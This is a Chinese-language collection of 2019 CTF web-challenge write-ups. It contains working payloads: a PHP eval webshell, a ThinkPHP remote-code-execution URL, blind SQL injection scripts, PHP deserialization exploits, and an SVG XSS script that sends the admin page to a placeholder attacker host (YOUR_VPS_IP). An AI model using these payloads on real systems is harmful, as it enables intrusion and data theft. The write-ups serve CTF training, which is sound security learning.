2019WriteUp 汇总 VOL 1

  58 mins to read  

List [CTL]

    CUMTCTF双月赛I

    ez-upload

    进入题目,要求上传一个Webshell到服务器,可知该题目考察文件上传漏洞,由于这是一个PHP服务器,所以我们需要上传一个PHP Webshell

    点击浏览,选择文件,文件内容为<?php @_eval($_POST['a']); ?>,上传文件提示不允许上传该类型文件,故需要想办法绕过服务器安全限制

    这里修改后缀名为.phtml/.htaccess/.php5均可

    然后用菜刀连接上传的Webshell,读取根目录下的flag文件:


    CVE

    这道题提示了是一个CVE,所以我们需要到网上找该CMS的相关漏洞。该CMS为Drupal ,CVE编号为cve-2018-7600,参考这篇文章

    构造第一个请求注入恶意代码:

    将第一个请求的响应中form-build-value取出填入第二个请求,获得flag:


    secret-system

    进入题目页面,访问robots.txt,可知登录页面URL

    User-agent: *
    Disallow: index.php?r=site/loginuser_1
    

    查看登录页源代码可见提示:

    <li><a href="/web/index.php?r=">login</a></li>
    <li><a href="/web/index.php?r="></a></li></ul></div></div></nav>
        <div class="container">
                    <!--
    *** author: cib_zhinianyuxin.com
    *** code: github.com
    -->
    <div class="site-loginuser_1">
    
        <form id="w0" action="/web/index.php?r=site/loginuser_1" method="post">
    

    访问作者的Github仓库:https://github.com/cumtxujiabin/secret-system

    看到提示:

    
    1. you can use test/cib_sec to login ,but you are not admin!
    2. only admin can upload file ,but whichone can not bypass my rules.
    
    /**
    $sign = array(
                        'id'=>$model->id,
                        'name'=>$model->username,
                        'sign'=>md5($model->id.$model->username),
                    );
    $_COOKIE['Cib_security'] = serialize($sign);
    **/
    
    

    可知:

    • 能以test/cib_sec账户登录
    • Cookiearray对象的序列化

    所以我们可以尝试伪造序列化的数据,写PHP脚本:

    <?php
        $sign = array(
                        'id'=>"1",
                        'name'=>"admin",
                        'sign'=>md5("1"."admin"),
                    );
    	echo serialize($sign);
    

    Cookie Cib_security的value修改为a:3:{s:2:"id";s:1:"1";s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}即可获得管理员权限

    接着发现页面存在Upload目录,进入后要求上传一个Webshell,又是一个文件上传漏洞,这里我们按照题1 的步骤上传,但是需要改后缀名为.pht,然后和题1一样,使用菜刀连接,读取flag


    ezshop

    进入题目,是一个商店,注册新用户发现我们有300积分,但是买flag需要888积分

    接着我们下载题目给的压缩包,发现是网站的源代码,为Python Django框架,审计代码后在/ezshop/payment/views.py发现问题

    这里接收到支付请求的逻辑为:

    • 查验签名是否正确
    • 调用get_object_or_404函数获取订单对象、商品对象、用户对象(以用户ID为参数)
    • 依次检查订单状态、商品状态、用户积分

    而最重要的一点,它没有检查用户权限,所以我们可以利用这个漏洞来越权发起请求,即用别人的账户来支付我们的订单

    但我们不知道谁的账户里有足够的钱来帮我们完成支付,所以我们查看网站代码压缩包里的数据库文件

    看到id为16的用户账户里有30000¥

    故我们创建订单

    接着点击确认支付并开启BP抓包,由源码里我们知签名的构造是将密钥与POST请求请求体拼接后进行hash,

    这里直接读取密钥文件会更好,因为密钥结尾有一个换行符

    获取签名后填入请求的查询字段,发起请求:

    看到订单成功支付,这时打开题目网站,查看商品flag


    tp5

    这是这几天爆出的ThinkPHP框架的CVE,可以看该文章

    访问http://219.219.61.234:10005/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=xxx&vars[1][]=xxx即可执行任意代码

    http://219.219.61.234:10005/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

    system("cat /flag")获得flag


    shell

    进去题目,发现有一个登录框,注册用户后登录,发现可以上传图片

    扫描网站后台,发现/admin目录,测试发现存在注入,为时间+正则盲注,注入脚本:

    import requests
    
    url = "http://114.55.36.69:10006/admin/login.php"
    # payload = "database()"  web
    # payload = "password"
    
    flag = ""
    
    for i in range(1, 50):
        for j in "qazxswedcvfrtgbnhyjumkiolp1234567890{},_-!@#%&=':|<>":
            _data = {
                    "username": f"admin' and if(mid(({payload}),{i},1) regexp '{j}',sleep(3),1)#",
                    "password": "aaa"
                }
            try:
                r = requests.post(url, data=_data, timeout=3)
            except:
                flag += j
                break
        print(flag)
    

    获得管理员密码后登录管理后台,发现存在?file=CN.html,猜想这里存在文件包含漏洞

    联想到普通用户目录里的文件上传功能,我们得到解题思路:

    • 普通用户上传图片,图片中包含恶意php代码
    • 管理员目录中包含恶意文件,执行代码

    这里的图片上传使用了PHP GD图片处理库(标志为上传的图片中包含CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)),会对图片进行渲染,渲染失败会提示该文件不是jpg文件,且会过滤图片中的恶意内容

    所以我们上传一个图片,然后再下载下来,对比两个图片的Hex,找出未被修改的部分,将那部分内容改写为我们的恶意代码,然后在admin目录中包含恶意文件,即可执行任意代码

    BlockChain

    zeppelin原题,delegatecall函数的漏洞


    CUMTCTF双月赛II

    签到

    ?0ver=001&0ver1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&0ver2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    

    SimpleUpload签到

    console里function checkFile(){;}覆盖掉判断函数后上传


    小型线上赌场

    .index.swp文件泄露

    import asyncio
    import aiohttp
    
    url = "http://202.119.201.199:32787/index.php?invest=1&guess=2"
    
    async def guess():
        async with aiohttp.ClientSession() as session:
            while 1:
                async with session.get(url) as resp:
                    data = await resp.text()
                    if "flag{" in data:
                        print(data)
                        exit()
    
    
    loop = asyncio.get_event_loop()
    tasks = [guess() for i in range(8)]
    loop.run_until_complete(asyncio.gather(*tasks))
    
    

    SimpleSQLi

    Sqlmap:

    sqlmap -u xxx


    SimpleSqli2

    import requests
    
    #payload = "selSELECTect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='flagishere'"
    payload = "selSELECTect/**/binary/**/group_concat(FLAG)/**/from/**/flagishere"
    
    
    flag = ''
    
    for i in range(4, 50):
        for w in '_QAZXSWEDCVFRTGBNHYUJMKIOLP{}qazxscwderfvbgtyhnmjuiklop1234567890':
            url = f"http://bxs.cumt.edu.cn:30010/test/index.php?id=if(mid(({payload}),{i},1)='{w}',1,0)"
            # url = f"http://127.0.0.1/sql.php?id=if(mid(({payload}),{i},1)='{chr(w)}',1,0)"
            # print(url)
            r = requests.get(url)
            if 'NoNoNo' not in r.text:
                flag += w
                break
        print(flag)
    

    真的简单。。

    http://202.119.201.199:32793/list.php?id=-1' uniunionon seleselectct 1,2,(selselectect flag from flag)-- -

    获得flag in admin_08163314/exec.php

    后台命令执行:

    `echo$IFS"Y2F0IC9mbGFnXzMzMTQvZmxhZw=="|base64$IFS-d`
    

    文件管理系统

    源码泄露:www.zip

    二次注入:

    后台的建表语句为四个字段:

    CREATE TABLE file(fid id()
                      filename xx
                      oldname xx
                      extension xx
                      )
    

    上传文件名为:

    ',extension='',filename='404.jpg.jpg

    upload.php上传时由于addslashes的原因单引号转义

    插入表内的文件名:

    filename = ',extension='',filename='404.jpg

    扩展名:

    extension = .jpg

    改名时的update语句为

    update `file` set `filename`='404.jpg', `oldname`='',extension='',filename='404.jpg' where `fid`=x;
    
    

    此时库中存在一个扩展名为空的记录

    上传一个404.jpg

    重命名为404.php

    $oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
    $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
    if(file_exists($oldname)) {
        rename($oldname, $newname);
    
    

    空扩展名拼接后为原文件名,即可成功重命名为.php


    BlockChain

    ctf函数的两处require:

    require (takeRecord[msg.sender] == true);
    require (balances[msg.sender] == 0);
    

    即领取过空投且收益为0

    调用takeMoney即可满足第一个条件

    而后需要调用transfer函数将钱转走,但是transfer被lock了,且时长为一年

    而后阅读代码发现父类中的函数transferFrom也可转移

    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    require(_to != address(0)); 第二个判断通过父类的approve函数来达成
    
    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    

    然后转移10**6 money,调用ctf函数即获得flag


    Misc

    BXS图标

    查看发现是重排列的密码,猜测有意义的字符串获得flag

    矿大校歌

    文件注释中有解压密码

    解压后mp3stego提取隐藏文件

    起床改error

    文件中隐藏压缩包

    doc文件中查看隐藏字符即可


    2019安恒一月月赛

    Babygo

    <?php
    
    class baby 
    {   
        protected $skyobj;  
        public $aaa;
        public $bbb;
        function __construct(){
            $this -> skyobj = new sec;
        }
        function __toString()      
        {          
            if (isset($this->skyobj))  
                return $this->skyobj->read();      
        }  
        function a(){
            $tmp = new baby();
            $tmp -> bbb = NULL;
    
            $this -> skyobj = new cool();
            $this -> skyobj -> amzing = serialize($tmp);
            $this -> skyobj -> filename = "flag.php";
        }
    }  
    
    class cool 
    {    
        public $filename;     
        public $nice;
        public $amzing; 
        function read()     
        {  
            $this->nice = unserialize($this->amzing);
            $this->nice->aaa = $sth;
            if($this->nice->aaa === $this->nice->bbb)
            {
                $file = "./{$this->filename}";        
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file); 
                }  
                else 
                { 
                    return "you must be joking!"; 
                }    
            }
        }  
    }  
      
    class sec 
    {  
        function read()     
        {          
            return "it's so sec~~";      
        }  
    }
    
    
    
    $obj = new baby();
    $obj->a();
    
    
    echo serialize($obj);
    

    构造序列化payload,需注意protected成员序列化后的%00*%00


    SimplePHP

    查看robots.txt,访问/admin有注册登录页面

    SQL长度约束,username=admin 1登录

    进入后利用TP注入漏洞:

    import requests
    
    flag = ""
    _cookies = {
    	'PHPSESSID': # cookie
    }
    
    for i in range(1,50):
    	for j in range(33, 128):
    		url = f'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((mid((select flag from flag limit 0,1),{i},1)={chr(j)},sleep(3),0)--'
    		try:
    			r = requests.get(url, timeout=3, cookies=_cookies)
    		except:
    			flag += j
    			break
        print(flag)
    

    Teaser CONFidence CTF

    赛后复现,连接https://confidence2019.p4.team/

    My Admin Panel我看做出来的人挺多就没看,复现了后两道Web题目

    Web 50

    一道XSS题目,注册后存在上传接口以及向管理员汇报Bug

    使用SVG矢量图片格式,内嵌JS代码,由于上传执行,不存在SOP影响

    EXP:

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
        href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARgAAAEYCAIAAAAI7H7bAAAFx0lEQVR4nO3dQY7kNhAAQbex///y\n+uCzDlxnuaieiKvHao16EgS2QOrz+/fvv4D/5u/tG4BvICQICAkCQoKAkCAgJAgICQK/nv7D5/P5\nP+/jjz3Nwabv//Rzq/us5n633efb/96sSBAQEgSEBAEhQUBIEBASBIQEgcc50pOt/UvVHOO2uc3W\n555ev5oLTX9u5fT7siJBQEgQEBIEhAQBIUFASBAQEgSO50hPqv0kt81tqnlI9bmn13nylv0/T277\ne7MiQUBIEBASBIQEASFBQEgQEBIEsjnSbU7nM9Nziepz336e3reyIkFASBAQEgSEBAEhQUBIEBAS\nBL52jlTtI9qa/5yani9V1/nWeZQVCQJCgoCQICAkCAgJAkKCgJAgkM2RbpsPbN2P/T//mr7/256P\nFQkCQoKAkCAgJAgICQJCgoCQIHA8R3rLe3Wm98+8ZR/R1u87vR/sNlYkCAgJAkKCgJAgICQICAkC\nQoLA4xzptv0elWoecurt57/9tP1Fp6xIEBASBIQEASFBQEgQEBIEhASBz23/fn/b+W9bc6TT60x7\ny/6orZ+3IkFASBAQEgSEBAEhQUBIEBASBB73I03/u/uprfnA1j6cp/ucfs63zWe2zrU7fZ5WJAgI\nCQJCgoCQICAkCAgJAkKCwPF+pK350vS+oOnPrUzf/1vO35v+uzJHggVCgoCQICAkCAgJAkKCgJAg\n8DhH2prbTHvLXOinzd+m91OdMkeCBUKCgJAgICQICAkCQoKAkCDweK7dbftMKlv7VaZ/r+l9R5Wt\n90RNnx9oRYKAkCAgJAgICQJCgoCQICAkCBy/H+lU9e/9T97yvp1T03OS6nO33ot1+vPT37sVCQJC\ngoCQICAkCAgJAkKCgJAg8DhHevKt+3lOTc9PqutP7yu7be7kXDt4MSFBQEgQEBIEhAQBIUFASBA4\nniM9uW1fyul1pu//W03PCavva/r7tSJBQEgQEBIEhAQBIUFASBAQEgQ+37q/aPqct7c/h1O33efW\n8/d+JBgkJAgICQJCgoCQICAkCAgJAsdzpOMPWNo3svVeoNvc9pwrt+13siJBQEgQEBIEhAQBIUFA\nSBAQEgSOz7XbOr9u631Bb58XVT9/27youp/qOlYkCAgJAkKCgJAgICQICAkCQoLA4xxpa27wlvfk\nTJ+bd6r6vqb3p22dN3h6nVNWJAgICQJCgoCQICAkCAgJAkKCQHau3W37dm573870vprp61fefj6h\nc+1gkJAgICQICAkCQoKAkCAgJAg8zpFu21dz2z6WU9P7qU4/9zZbz79iRYKAkCAgJAgICQJCgoCQ\nICAkCBzPkbbmElvn133rnOe29x092dqvdXqfViQICAkCQoKAkCAgJAgICQJCgsD4HGl6HvWWc8+m\nr3Pbfq2tOdvWviYrEgSEBAEhQUBIEBASBIQEASFB4Nfp//D2c+S2TD+H257n1u+1tb/OigQBIUFA\nSBAQEgSEBAEhQUBIEHjcj/R2t73fafpzn9z2HLae85Nq7mRFgoCQICAkCAgJAkKCgJAgICQIHJ9r\nd5vb5mA/7TzAt5zXd8r7kWCBkCAgJAgICQJCgoCQICAkCByfa7c1tzmdG2zNGarnMz1vuW3+tnU/\n9iPBRYQEASFBQEgQEBIEhAQBIUHgeI70ZPqcsa3rnNraxzU9Zzudmz1d/7Z9RBUrEgSEBAEhQUBI\nEBASBIQEASFBIJsjvcXW+4K29gvdds5e9bmnpr93KxIEhAQBIUFASBAQEgSEBAEhQeDHzZGeTO9j\n2TqXb/q9RtO23o/kXDtYICQICAkCQoKAkCAgJAgICQLZHOm29+082ZqrTO//mT5H7rbr3Hb+oRUJ\nAkKCgJAgICQICAkCQoKAkCBwPEfaev9PZfocua19TdW5edXPP9naXzR9rqAVCQJCgoCQICAkCAgJ\nAkKCgJAg8HnLPiK4mRUJAkKCgJAgICQICAkCQoKAkCDwD+c9/xFIIxz6AAAAAElOSVSuQmCC" />
    <script>
    fetch('http://web50.zajebistyc.tf/profile/admin').then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST',
            body: JSON.stringify({k: v})}));
    </script>
    </svg>
    

    这里踩了个坑,用GET发数据会超出最大字节限制


    The Lottery

    Golang的Chi框架,其实Golang的Web框架都是千篇一律的API,几乎都只是在重复模仿

    这道题给了源码,是一个REST API,有以下路由

    r.Get("/", handler.IndexGet)
    r.Post("/account", handler.AccountAdd)
    r.Post("/account/{name}/amount", handler.AccountAddAmount)
    r.Get("/account/{name}", handler.AccountGet)
    r.Post("/lottery/add", handler.LotteryAdd)
    r.Get("/lottery/results", handler.LotteryResults)
    

    看看怎样能拿到flag:

    // 如果你是millionare或者你win了lottery
    
    func (h *Handlers) AccountGet(w http.ResponseWriter, r *http.Request) {
    	account, flag, err := h.service.AccountGet(chi.URLParam(r, "name"))
    	if err != nil {
    		if err == app.ErrNotFound {
    			http.Error(w, err.Error(), http.StatusNotFound)
    			return
    		}
    		http.Error(w, err.Error(), http.StatusInternalServerError)
    		return
    	}
    	response := AccountGetResponse{
    		Account: account,
    	}
    	if flag {
    		response.Flag = h.flag
    	}
    
    	w.Header().Set("Content-Type", "application/json")
    	_ = json.NewEncoder(w).Encode(response)
    }
    
    func (s *Service) AccountGet(name string) (Account, bool, error) {
    	s.mutex.RLock()
    	defer s.mutex.RUnlock()
    	account, found := s.accounts[name]
    	if !found {
    		return Account{}, false, ErrNotFound
    	}
    	superUser := s.lottery.IsWinner(name) || account.IsMillionaire()
    	return account, superUser, nil
    }
    
    func (a *Account) IsMillionaire() bool {
    	sum := 0
    	for _, a := range a.Amounts {
    		sum += a
    	}
    	return sum >= 1000000
    }
    

    彩票赢的条件是你账户所有的钱数(MaxAmountsLen = 4,int数组,最大长度为4),加上一个大随机数正好等于0x133700

    for name, account := range accounts {
        amounts := append(account.Amounts, randInt(999913, 3700000))
        sum := 0
        for _, a := range amounts {
            sum += a
        }
        if sum == 0x133700 {
            l.winners[name] = struct{}{}
        }
    }
    

    百万富翁的条件,你可以添加你账户的钱,但是不能大于99:

    const MaxAmount  = 99
    
    func (a *Account) AddAmount(amount int) error {
    	if amount < 0 || amount > MaxAmount {
    		return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'", MaxAmount+1, amount)
    	}
    	if len(a.Amounts) >= MaxAmountsLen {
    		return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)", MaxAmountsLen)
    	}
    	a.Amounts = append(a.Amounts, amount)
    	return nil
    }
    

    漏洞利用思路学习自https://github.com/mwarzynski/confidence2019_teaser_lottery

    理一遍流程:

    首先通过接口创建新账户,接着可以添加四次账户余额,然后注册账户参加赌博,最后查看结果,如果isMillionare || amountTotal > 1000000则会返回flag

    我们看看赌博计算结果的函数

    func (l *Lottery) evaluate() {
    	l.mutex.Lock()
    	defer l.mutex.Unlock()
    	accounts := l.accounts
    	l.winners = make(map[string]struct{})
    	l.accounts = make(map[string]Account)
    	for name, account := range accounts {
    		amounts := append(account.Amounts, randInt(999913, 3700000))
    		sum := 0
    		for _, a := range amounts {
    			sum += a
    		}
    		if sum == 0x133700 {
    			l.winners[name] = struct{}{}
    		}
    	}
    }
    

    它直接取出了用户结构体中的amounts来append,这里需要知道Go里的切片是什么,我原来写代码时就在这里踩过坑

    struct {
        ptr *T
        len int
        cap int
    }
    

    Go里有引用类型与值类型的区分,所有的引用类型其实都是一个包含指针的结构体。而切片的指针指向的是底层的数组(数组不可变,切片可变)

    比如我这样操作的话

    array := [...]int{1, 2, 3}
    s1 := array[:2]
    s2 := array[2:]
    

    这两个切片所引用的数组是同一个,我修改其中一个切片的结果是,另一个也会被修改

    而append函数则是扩充切片,它创建一个新的切片结构体并返回。当没有达到cap(容量)限制时,它还是指向原先的数组,并将元素append到底层数组中,并修改长度。而超过容量限制后,则会创建一个新的底层数组,并且返回指向新数组的切片

    所以虽然C-like的变量是传值,但是由于引用类型的存在,我们可以修改到原始结构体。而又因为传值的原因,我们可以拿到不一样的slice结构体(指针相同,长度容量不同)

    exp.py:

    import requests
    import threading
    import os
    
    
    url = 'https://lottery.zajebistyc.tf'
    
    
    def exp():
        s = requests.Session()
        r = s.post(url + '/account').json()
        user = r['name']
        
        for _ in range(3):
            r = s.post(url + f'/account/{user}/amount', json={'amount': 99})
    
        r = s.get(url + f'/account/{user}')
        r = s.post(url + f'/lottery/add', json={'accountName': user})
        r = s.post(url + f'/account/{user}/amount', json={'amount': 99})
        r = s.get(url + f'/account/{user}')
    
        print(r.text)
        if 'flag' in r.text:
            os._exit(0)
    
    
    t = [threading.Thread(target=exp) for _ in range(30)]
    [thread.start() for thread in t]
    

    DDCTF2019

    Web除了最后一道零解(最后有几个大佬a了)的Java

    滴~

    这道题的误导很严重

    进入题目

    URL为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,将参数解码

    >>> 'TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'.decode('base64').decode('base64').decode('hex')
    'flag.jpg'
    

    存在文件读取,尝试读取页面源码

    >>> 'index.php'.encode('hex')
    '696e6465782e706870'
    >>> _.encode('base64')
    'Njk2ZTY0NjU3ODJlNzA2ODcw\n'
    >>> _[:-1].encode('base64')
    'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3\n'
    

    解码后获得页面源码

    <?php
    /*
     * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
     * Date: July 4,2018
     */
    error_reporting(E_ALL || ~E_NOTICE);
    
    
    header('content-type:text/html;charset=utf-8');
    if(! isset($_GET['jpg']))
        header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
    $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
    echo '<title>'.$_GET['jpg'].'</title>';
    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    echo $file.'</br>';
    $file = str_replace("config","!", $file);
    echo $file.'</br>';
    $txt = base64_encode(file_get_contents($file));
    
    echo "<img src='data:image/gif;base64,".$txt."'></img>";
    /*
     * Can you find the flag file?
     *
     */
    
    ?>
    
    

    发现两处过滤:

    $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
    $file = str_replace("config","!", $file);
    

    所有非[a-zA-Z0-9.]的字符会被过滤,config会被替换为!

    访问注释里的CSDN链接,这里有个脑洞,需要根据日期7月4号来查看CSDN博客相应的文章,文章内容是.swp文件泄露,猜测存在泄露且文件名相同

    访问/practice.txt.swp得到内容f1ag!ddctf.php,因为!被过滤所以用config来替代!,传入参数b64encode(b64encode(hex("f1agconfigddctf.php")))读源码

    <?php
    include('config.php');
    $k = 'hello';
    extract($_GET);
    if(isset($uid))
    {
        $content=trim(file_get_contents($k));
        if($uid==$content)
    	{
    		echo $flag;
    	}
    	else
    	{
    		echo'hello';
    	}
    }
    
    ?>
    

    这个就是常规的变量覆盖了,传入http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php获得flag:

    DDCTF{436f6e67726174756c6174696f6e73}


    WEB 签到题

    进入页面提示无权限

    抓包发现有一个Ajax请求了鉴权接口

    修改空值为admin后发包,提示访问某页面

    进入新页面,给了源码,开始审计

    
    Class Application {
        var $path = '';
    
    
        public function response($data, $errMsg = 'success') {
            $ret = ['errMsg' => $errMsg,
                'data' => $data];
            $ret = json_encode($ret);
            header('Content-type: application/json');
            echo $ret;
    
        }
    
        public function auth() {
            $DIDICTF_ADMIN = 'admin';
            if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
                $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
                return TRUE;
            }else{
                $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
                exit();
            }
    
        }
        private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }
    
    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
    }
    
    
    
    
    url:app/Session.php
    
    
    
    include 'Application.php';
    class Session extends Application {
    
        //key建议为8位字符串
        var $eancrykey                  = '';
        var $cookie_expiration			= 7200;
        var $cookie_name                = 'ddctf_id';
        var $cookie_path				= '';
        var $cookie_domain				= '';
        var $cookie_secure				= FALSE;
        var $activity                   = "DiDiCTF";
    
    
        public function index()
        {
    	if(parent::auth()) {
                $this->get_key();
                if($this->session_read()) {
                    $data = 'DiDI Welcome you %s';
                    $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                    parent::response($data,'sucess');
                }else{
                    $this->session_create();
                    $data = 'DiDI Welcome you';
                    parent::response($data,'sucess');
                }
            }
    
        }
    
        private function get_key() {
            //eancrykey  and flag under the folder
            $this->eancrykey =  file_get_contents('../config/key.txt');
        }
    
        public function session_read() {
            if(empty($_COOKIE)) {
            return FALSE;
            }
    
            $session = $_COOKIE[$this->cookie_name];
            if(!isset($session)) {
                parent::response("session not found",'error');
                return FALSE;
            }
            $hash = substr($session,strlen($session)-32);
            $session = substr($session,0,strlen($session)-32);
    
            if($hash !== md5($this->eancrykey.$session)) {
                parent::response("the cookie data not match",'error');
                return FALSE;
            }
            $session = unserialize($session);
    
    
            if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
                return FALSE;
            }
    
            if(!empty($_POST["nickname"])) {
                $arr = array($_POST["nickname"],$this->eancrykey);
                $data = "Welcome my friend %s";
                foreach ($arr as $k => $v) {
                    $data = sprintf($data,$v);
                }
                parent::response($data,"Welcome");
            }
    
            if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
                parent::response('the ip addree not match'.'error');
                return FALSE;
            }
            if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
                parent::response('the user agent not match','error');
                return FALSE;
            }
            return TRUE;
    
        }
    
        private function session_create() {
            $sessionid = '';
            while(strlen($sessionid) < 32) {
                $sessionid .= mt_rand(0,mt_getrandmax());
            }
    
            $userdata = array(
                'session_id' => md5(uniqid($sessionid,TRUE)),
                'ip_address' => $_SERVER['REMOTE_ADDR'],
                'user_agent' => $_SERVER['HTTP_USER_AGENT'],
                'user_data' => '',
            );
    
            $cookiedata = serialize($userdata);
            $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
            $expire = $this->cookie_expiration + time();
            setcookie(
                $this->cookie_name,
                $cookiedata,
                $expire,
                $this->cookie_path,
                $this->cookie_domain,
                $this->cookie_secure
                );
    
        }
    }
    
    
    $ddctf = new Session();
    $ddctf->index();
    

    注意到关键点:

    • 反序列化类的析构函数存在文件读取
    • 生成session需要密钥'../config/key.txt'

    访问key.txt提示没有权限,看到源码里:

    if(!empty($_POST["nickname"])) {
        $arr = array($_POST["nickname"],$this->eancrykey);
        $data = "Welcome my friend %s";
        foreach ($arr as $k => $v) {
            $data = sprintf($data,$v);
        }
        parent::response($data,"Welcome");
    }
    

    数组里有两个参数,循环sprintf,所以我们可以传入"nickname=%s",这样第一次循环后:"Welcome my friend %s",第二次循环后sprintf("welcome my friend %s", $eancrykey),即成功获取密钥

    获取密钥后开始伪造session反序列化读文件

    我们序列化Application类,成员path修改为..././config/flag.txt,这里由于过滤了../所以双写绕过

    <?php
    
    $a = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}';
    echo urlencode($a);
    echo md5("EzblrbNS".$a);
    

    获得flag


    Upload-IMG

    这道题是绕过PHP GD库的图像重渲染

    具体可看这篇文章:http://www.cnblogs.com/test404/p/6644871.html

    我们可以利用工具jpg_payload生成包含恶意代码的图片

    工具链接:https://wiki.ioin.in/soft/detail/1q

    首先准备一张图片,先上传到服务器,图片将会被重渲染,接着我们将图片下载下来,使用工具插入恶意代码

    $ php5 jpg_payload.php 190413104151_339161029.jpg
    

    这时的图片就包含了恶意代码且不会被GD库重渲染抹去,我们再次上传即可获得flag


    homebrew event loop

    这道题我个人认为出的很好

    是一个Flask框架编写,上来就给了源码

    # -*- encoding: utf-8 -*-
    # written in python 2.7
    __author__ = 'garzon'
    
    from flask import Flask, session, request, Response
    import urllib
    
    app = Flask(__name__)
    app.secret_key = '*********************'  # censored
    url_prefix = '/d5af31f66147e857'
    
    
    def FLAG():
        print 'invoke flag!!'
        return 'FLAG_is_here_but_i_wont_show_you'  # censored
    
    
    def trigger_event(event):
        session['log'].append(event)
        if len(session['log']) > 5: session['log'] = session['log'][-5:]
        if type(event) == type([]):
            request.event_queue += event
        else:
            request.event_queue.append(event)
        print request.event_queue
    
    
    def get_mid_str(haystack, prefix, postfix=None):
        haystack = haystack[haystack.find(prefix) + len(prefix):]
        if postfix is not None:
            haystack = haystack[:haystack.find(postfix)]
        return haystack
    
    
    class RollBackException:
        pass
    
    
    def execute_event_loop():
        valid_event_chars = set(
            'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
        resp = None
        while len(request.event_queue) > 0:
            event = request.event_queue[
                0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
            request.event_queue = request.event_queue[1:]
            if not event.startswith(('action:', 'func:')): continue
            for c in event:
                if c not in valid_event_chars:
                    return 'white list'
                    break
            else:
                is_action = event[0] == 'a'
                action = get_mid_str(event, ':', ';')
                args = get_mid_str(event, action + ';').split('#')
                #print action
                #print args
                try:
                    event_handler = eval(
                        action + ('_handler' if is_action else '_function'))
                    ret_val = event_handler(args)
                except RollBackException:
                    if resp is None: resp = ''
                    resp += 'ERROR! All transactions have been cancelled. <br />'
                    resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                    session['num_items'] = request.prev_session['num_items']
                    session['points'] = request.prev_session['points']
                    break
                except Exception, e:
                    if resp is None: resp = ''
                    resp += str(e) # only for debugging
                    continue
                if ret_val is not None:
                    if resp is None: resp = ret_val
                    else: resp += ret_val
        if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
        session.modified = True
        return resp
    
    
    @app.route(url_prefix + '/')
    def entry_point():
        querystring = urllib.unquote(request.query_string)
        request.event_queue = []
        if querystring == '' or (
                not querystring.startswith('action:')) or len(querystring) > 100:
            querystring = 'action:index;False#False'
        if 'num_items' not in session:
            session['num_items'] = 0
            session['points'] = 3
            session['log'] = []
        request.prev_session = dict(session)
        trigger_event(querystring)
        return execute_event_loop()
    
    
    # handlers/functions below --------------------------------------
    
    
    def view_handler(args):
        page = args[0]
        html = ''
        html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
            session['num_items'], session['points'])
        if page == 'index':
